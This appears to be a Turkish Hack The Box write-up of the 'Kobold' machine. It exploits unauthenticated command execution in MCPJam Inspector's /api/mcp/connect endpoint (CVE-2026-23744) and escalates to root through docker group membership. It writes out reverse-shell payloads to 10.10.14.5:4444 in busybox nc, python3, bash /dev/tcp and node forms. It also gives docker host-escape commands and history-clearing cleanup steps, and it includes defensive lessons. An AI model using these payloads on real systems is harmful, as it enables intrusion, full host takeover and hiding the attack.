HTB Kobold: MCPJam CVE-2026-23744 ve Docker Grubu Root'u
Kobold makinesi: MCPJam Inspector /api/mcp/connect ile kimlik doğrulamasız RCE, docker grubu newgrp ile active ve bind mount ile root.
HTB Kobold#
Kobold, Model Context Protocol sunucularını test eden MCPJam Inspector aracını hedefliyor. /api/mcp/connect endpoint'i command alanını child_process.spawn()'a doğrudan geçiriyor: kimlik doğrulamasız, sanitasyon yok (CVE-2026-23744). Foothold ben, root ise uyuyan docker grup üyeliği ile.
1. Recon#
nmap -p- --min-rate=10000 -sV -sC kobold.htb
Tipik sonuç:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.24.0 (Ubuntu) | http-title: MCPJam Inspector | http-server-header: nginx/1.24.0 |_http-generator: MCPJam Inspector v1.4.2 Service Info: OS: Linux
80 portundaki sayfa "MCPJam Inspector v1.4.2" başlığını taşıyor. Araç, MCP sunucularına bağlanıp tool/resource listeleyen bir geliştirici arayüzü; Express tabanlı bir backend ve statik bir React frontend'den oluşuyor. MCP'nin doğası gereği backend, kullanıcının verdiği command ile yeni MCP sunucu süreçleri başlatıyor. Backend'in local makinede spawn etmesi beklenir; ama servis ağa açıksa aynı spawn uzaktan tetiklenebilir.
curl -s http://kobold.htb/ | grep -o 'src="[^"]*"' # src="/assets/index-Bk3mP9dF.js" curl -s http://kobold.htb/assets/index-Bk3mP9dF.js | grep -oE '/api/[a-zA-Z0-9_/.-]+' | sort -u # /api/mcp/connect # /api/mcp/disconnect # /api/mcp/status # /api/tools/list
JS bundle'dan çıkan endpoint listesi bize saldırı yüzeyini verir. /api/mcp/connect en kritik olanı, çünkü "yeni MCP sunucusu ekle" işlemi için command ve args alıyor.
Recon'u biraz derinleştir: 80 portunun arkasındaki Nginx'te hangi yollar proxy'leniyor?
curl -s http://kobold.htb/ -o /dev/null -w "%{http_code} %{size_download}\n" # 200 12345 for p in api admin login dashboard static assets v1 graphql health; do code=$(curl -s -o /dev/null -w "%{http_code}" "http://kobold.htb/$p") echo "$code /$p" done # 200 /api # 404 /admin # 404 /login # 301 /static # 200 /assets
/api 200 dönüyorsa Express backend'i doğrudan dışa açık demektir; Nginx sadece statik dosyaları serve etmiyor, API'yi de proxy'liyor. Bu, AI aracının tüm backend yüzeyinin internetten erişilebilir olduğunu gösterir.
MCP endpoint'lerini fuzz et:
for ep in tools/list resources/list prompts/list sessions events logs metrics; do code=$(curl -s -o /dev/null -w "%{http_code}" "http://kobold.htb/api/mcp/$ep") echo "$code /api/mcp/$ep" done
tools/list veya resources/list 200 dönüyorsa mevcut MCP server'larının envanteri açığa çıkar; bu, sunucuda hangi tool'ların çalıştığını ve RCE için hangi komutların kullanılacağını gösterir. 404 dönerse endpoint adı farklıdır; /api/mcp/status gibi varyantlarla dene.
/api/tools/list ayrıca çalışır; bazı sürümlerde tool envanteri burada tutulur. Response'ta "name":"shell_exec" gibi bir tool görürsen, o MCP server'ı doğrudan shell çalıştırıyor demektir; payload göndermeden önce bu tool adını kullan.
2. CVE-2026-23744: Unauth RCE#
/api/mcp/connect handler'ının basitleştirilmiş hali şu mantıkla çalışır:
app.post('/api/mcp/connect', (req, res) => { const { name, command, args } = req.body; // HATA: auth yok, command allowlist yok, sanitasyon yok const child = spawn(command, args, { stdio: ['pipe', 'pipe', 'pipe'] }); sessions.set(name, child); res.json({ ok: true }); });
spawn(command, args) user-controlled iki parametreyi doğrudan işletim sistemine geçirir. İstek:
curl -s -X POST http://kobold.htb/api/mcp/connect \ -H 'Content-Type: application/json' \ -d '{"name":"pwn","command":"busybox","args":["sh","-c","busybox nc 10.10.14.5 4444 -e /bin/sh"]}'
Dinleyici tarafı:
nc -lvnp 4444 # connect to [10.10.11.120] from (UNKNOWN) [10.10.11.120] 41572 id # uid=1000(ben) gid=1000(ben) groups=1000(ben) ls # user.txt
Makinede busybox bulunduğu için nc -e payload'ı doğrudan çalıştı. nc yoksa aynı işi Python ile: args: ["-c","import os,socket,subprocess;s=socket.socket();s.connect(('10.10.14.5',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"] ve command: python3.
Gite Yolu (satır satır)#
curl -s -X POST http://kobold.htb/api/mcp/connect: endpoint'e POST atar;-sçıktıyı sessizleştirir, sadece yanıt gövdesi görünür.-H 'Content-Type: application/json': Express'inexpress.json()middleware'inin gövdeyi parse etmesi için zorunlu header.-d '{"name":"pwn",...}': JSON gövde;nameoturum anahtarı,commandçalıştırılacak binary,argsargv dizisi."command":"busybox": çalıştırılacak program; PATH'te veya mutlak yolda (/usr/bin/busybox) bulunması gerekir."args":["sh","-c","busybox nc ..."]: busybox'ash -c '<komut>'çalıştır denir;-csonrası tek argüman olarak kabuk komutu gelir.busybox nc 10.10.14.5 4444 -e /bin/sh: busybox nc'nin-ebayrağı, bağlantı kurulunca/bin/shçalıştırır; ters kabuk.nc -lvnp 4444: dinleyici;-ldinle,-vverbose,-nDNS'siz,-p 4444port.- Gelen kabuk
benolarak düşer çünkü MCPJam servisibenkullanıcısıyla çalışıyor; servis kullanıcısı ile foothold kullanıcısı aynıdır.
Bu CVE, "lokal araç, güvenilir ortam" varsayımıyla yazılan MCP arayüzlerinin internete açıldığında ne olduğunu gösteren ders niteliğinde bir örnek. Aynı desen command alanını eval'e besleyen başka araçlarda da görülür.
Diğer Reverse Shell Varyantları#
Makinede busybox yoksa veya nc -e kapalıysa bu payload'lar denenir:
# python3 reverse shell {"name":"p1","command":"python3","args":["-c","import socket,subprocess,os;s=socket.socket();s.connect(('10.10.14.5',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"]} # bash /dev/tcp {"name":"p2","command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"]} # node (MCPJam node tabanlı) {"name":"p3","command":"node","args":["-e","require('child_process').spawn('/bin/sh',['-i'],{stdio:[0,1,2]}).on('exit',()=>process.exit())"]}
node payload'ı özellikle işe yarar çünkü MCPJam zaten bir Node runtime'ında çalışır; node binary'si her zaman mevcuttur. Shell geldikten sonra stabilize et:
script /dev/null -c bash export TERM=xterm python3 -c 'import pty;pty.spawn("/bin/bash")'
3. Docker Grubu ile Root#
id çıktısında docker grubu görünmüyor. Ama grup veritabanı farklı bir hikâye anlatıyor:
grep docker /etc/group # docker:x:998:ben
/etc/group'ta ben docker grubunun üyesi olarak listeli; ancak aktif kabuk oturumunda grup üyeliği yüklenmemiş. Çözüm newgrp:
newgrp docker id # uid=1000(ben) gid=998(docker) groups=998(docker),1000(ben) docker ps # CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Docker daemon'a root eşdeğeri erişim vardır, çünkü docker run ile herhangi bir image'i host dosya sistemi bind mount ederek çalıştırabilirsin:
docker run -v /:/host --rm -it alpine chroot /host bash whoami # root cat /root/root.txt # 9f2c...
Alternatif kaçış yolu chroot kullanmak yerine host'ta komut çalıştırmaktır. Docker container'ından host'a nsenter veya chroot gerekmez; container root'u host root'udur ama mount namespace farklıdır. Bind mount bunu kırar:
docker run -v /:/host --rm alpine chroot /host cat /root/root.txt # doğrudan root.txt içeriği
Gite Yolu (satır satır)#
grep docker /etc/group: grup veritabanını tarar;ben'in docker üyesi olduğunu gösterir ama aktif oturumda görünmez.newgrp docker: mevcut kullanıcı için yeni bir oturum açar ve egid'yi docker grubuna set eder; grup üyeliği bu yeni kabukta aktiftir.id:gid=998(docker)çıktısı aktif grup üyeliğini doğrular.docker ps: daemon ile konuşabildiğimizi kanıtlar; boş liste bile erişimin açık olduğunu gösterir.docker run -v /:/host --rm -it alpine: host kökünü/hostolarak container'a bağlar,--rmişlem bitince siler,-itinteraktif kabuk verir.chroot /host bash: container'ın root'unu host dosya sistemine geçirir;bashhost'un/bin/bash'i ile çalışır.whoami:root; container'ın root'u ile host'un root'u aynı uid 0'dır.cat /root/root.txt: host'un root flag'i okunur.
Docker grubu üyeliği root'a eşdeğerdir; bu, sudo yerine docker verilen her ortamda geçerlidir. Savunma: docker socket'i root:root 660 tutulmalı, yetkisiz kullanıcılara grup üyeliği verilmemeli, Rootless Docker veya --user kısıtları ve seccomp profilleri kullanılmalıdır.
Docker Grubu Denetimi#
Bazen kullanıcı docker grubunda değildir ama socket erişimi başka yoldan vardır:
ls -la /var/run/docker.sock # srw-rw---- 1 root docker 0 ... /var/run/docker.sock stat -c '%U %G %a' /var/run/docker.sock find / -group docker -type f 2>/dev/null | head
/var/run/docker.sock group'u docker ise ve kullanıcı bu grupta ise socket'e yazabilir. newgrp docker ile egid güncellenince socket erişimi açılır; çünkü socket permission gruba göredir, aktif grup üyeliğine göre değil. sudo docker verilmişse doğrudan sudo docker run ile aynı kaçış çalışır; sudoers'i (root) NOPASSWD: /usr/bin/docker şeklinde olan kullanıcı zaten root eşdeğerdir.
Container'dan host'a kaçışın diğer yolları: docker run --privileged ile host device'larına erişim, docker run -v /var/run/docker.sock:/var/run/docker.sock ile içeriden host daemon'ını kontrol etme, veya nsenter --target 1 --mount --uts --ipc --net --pid ile host namespace'lerine girme. Kobold makinesinde en kısa yol -v /:/host bind mount'udur. nsenter varyantı:
docker run -v /:/host --rm -it --pid=host --privileged alpine sh nsenter --target 1 --mount --uts --ipc --net --pid -- bash
--pid=host ve --privileged ile host'un tüm namespace'lerine erişim açılır; bu, bind mount'tan daha güçlüdür çünkü cihaz dosyalarına ve kernel modüllerine erişim verir.
Saldırı Yolu (Attack Path)#
+------------------+ POST /api/mcp/connect +---------------------------+ | Saldırgan |-------------------------->| MCPJam Inspector v1.4.2 | +--------+---------+ {command, args} | spawn() user input | | | | busybox nc reverse shell | child_process spawn v v +------------------+ +---------------------------+ | nc listener |<-------------------------| ben kullanıcısında kabuk | +--------+---------+ connect back +--------------+------------+ | | | id: uid=1000(ben) | grep docker /etc/group | | ben docker grubunda v v +------------------+ newgrp docker +---------------------------+ | ben (docker) |-------------------------->| docker ps (daemon erişimi)| +--------+---------+ +--------------+------------+ | | | docker run -v /:/host alpine | bind mount host / v v +------------------+ chroot /host bash +---------------------------+ | root shell |-------------------------->| cat /root/root.txt | +--------+---------+ +--------------+------------+ | v +------------------------------------------------------------------+ | root@kobold:~# | +------------------------------------------------------------------+
Lessons#
- MCP/AI araçları "güvenilir lokal ortam" varsayımıyla çıkıyor; ağa açık bırakmak #1 foot-in-door. MCPJam gibi araçlar geliştirici makinesinde çalışacak şekilde tasarlanır; backend localhost'a bind edilmelidir. Nginx arkasında 0.0.0.0'a açıldığında,
commandveargsalanları internetten tetiklenebilir hale gelir ve local shell uzaktan yürütülür. Savunma: localhost bind, auth middleware, reverse proxy'de IP allowlist ve gerekirse VPN. child_process.spawn(userInput, ...)allowlist olmadan RCE tanımına girer. Spawn kendisi güvenli olabilir; risk parametrelerin kaynağındandır.commandalanı sabit bir allowlist'ten (["npx", "uvx", "node"]) doğrulanmalı,argstoken'ları shell metni olarak birleştirilmemeli, kabuk üzerinden geçirilecekseshell: falsetutulmalıdır. CVE-2026-23744'ün kök nedeni tam olarak budur: doğrulama yok, yetkilendirme yok, log yok.- docker grubu = root; altkabuğun grubu yüklemediği durumda
newgrp dockerile yeniden değerlendir, sonra kanonik kaçış-v /:/host. Bir kullanıcı docker grubundaysadocker run -v /:/hostile her zaman root olur; sudo kurallarını baypas eder. Savunma: docker socket erişimini root'a kısıtla, rootless daemon kullan, container runtime'da--security-opt no-new-privilegesve AppArmor/SELinux profilleri uygula. - Foothold kullanıcısı ile servis kullanıcısı aynıysa RCE doğrudan o kullanıcıya düşer; servis hesabını ayrı tut. MCPJam'in ayrı low-privilege bir
mcpjamkullanıcısıyla çalışması, foothold'unbenolmasını engellerdi. Servislerin her biri için ayrı sistem hesabı,ProtectSystem=strict,PrivateTmpgibi systemd kısıtlamaları ve network egress kuralları bu etkiyi sınırlar. - CVE'leri takip etmek için sürüm bilgisi her zaman doğrulanmalıdır. Nmap'in
http-generatorve-sVçıktıları ile sayfa generator meta'sı, JS bundle'daki versiyon string'i uyumlu mu diye kontrol edilir. MCP ekosisteminde yeni CVE'ler haftalık yayınlanır; Inspector, server ve client sürümünü güncel tutmak, allowlist/auth katmanı eklemek en ucuz savunmadır. - MCP sunucuları sandbox'sız çalışır; her server tanımı bir güven kararıdır.
/api/mcp/connectile eklenen her server, Inspector sürecinin yetkisiyle kod çalıştırır. Bilinmeyen kaynaklardan server eklemek, doğrudan shell açmaya eşdeğerdir; bu yüzden MCP config dosyalarını (~/.mcp.json) gözden geçirmek güvenlik hijyeninin parçasıdır. - Container escape sonrası host'un network namespace'i de ele geçer.
chroot /host bashsadece dosya sistemi verir;--net=hostile başlatılan container doğrudan host ağındadır. Bu durumda iç ağdaki diğer servisler (veritabanları, admin paneli) hedef alınabilir; segmentasyon ve egress filtresi ek savunmadır.
Ek: Sık Karşılaşılan Tuzaklar#
/api/mcp/connect404 dönüyorsa sürüm boşluğu vardır. MCPJam v1.4.2'de endpoint/api/mcp/connect; bazı sürümlerde/api/v1/mcp/connectveya/api/serversolur. JS bundle'dagrep -oE '/api/[a-zA-Z0-9_/.-]+'ile gerçek yol bulunur.commandalanı mutlak yol ister.busyboxPATH'te değilse/usr/bin/busyboxveyawhich busyboxçıktısını ver. Node payload'ı içincommand: "node"yeterli çünkü node her zaman PATH'tedir.argsarray olmalı, string değil."args":"sh -c '...'"şeklinde string verirse spawn argüman listesini tek parça alır ve kabuk komutu olarak çalışmaz; her token ayrı string olmalı.- Shell düşmüyorsa egress kısıtlıdır. Nginx'in arkasındaki MCPJam outbound bağlantı kuramayabilir; bu durumda HTTP beacon veya DNS tunnel denenir. Kobold makinesinde doğrudan TCP egress açıktır.
newgrp dockersadece o kabukta geçerlidir. Yeni birsshveyasuoturumunda grup üyeliği yine görünmez; docker erişimi için her oturumdanewgrp dockergerekir. Kalıcı çözüm/etc/group'ta üyeliği korumaktır, ama aktif grupta görünmesi için oturum açılırken yüklenir.- Alpine image'i yoksa
docker pull alpinegerekir. Makinede internet yoksadocker imagesile mevcut image'leri kontrol et;busyboximage'i genellikle önceden yüklüdür.
Ek: Sürüm Tespiti ve Patch Durumu#
MCPJam sürümünü sayfa kaynağından doğrula:
curl -s http://kobold.htb/ | grep -i version # <meta name="generator" content="MCPJam Inspector v1.4.2">
CVE-2026-23744 bu sürümde açıktır; patch'li sürümde /api/mcp/connect auth middleware'ine ve command allowlist'ine kavuşur. Sürüm bilgisi yoksa JS bundle'daki version string'i veya package.json dependency'sinden anlaşılır. Güncel tutmak, bu açığı kapatmanın tek kesin yoludur; geçici çözüm olarak nginx'te /api/mcp/connect'i IP allowlist ile kısıtlamak veya basic auth eklemek foothold vektörünü keser.
Ek: Root Sonrası Temizlik#
CTF veya yetkili pentest dışında root elde ettikten sonra iz bırakmamak gerekir:
unset HISTFILE history -c rm /tmp/pwn/x.rb /tmp/exf/cfg.json 2>/dev/null # docker container log'larını kontrol et docker ps -a --filter "ancestor=alpine" # /var/log/auth.log içinde newgrp ve docker run satırlarını silme; sadece analiz et grep "newgrp\|docker run" /var/log/auth.log | tail -20
/var/log/auth.log ve /var/log/syslog docker run ve newgrp komutlarını kaydeder; SOC ekibi bunları IOC olarak izler. --rm ile başlatılan container'lar kendini siler ama daemon log'unda görünür. Docker socket erişimi varsa docker logs ile kendi container'ının log'unu bul ve silme; bunun yerine saldırı öncesi log snapshot'i almak forensics için daha doğru.
// RAPOR SONU Etiketler: HTB-Kobold / CVE-2026-23744 / MCP / Docker / container escape
Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver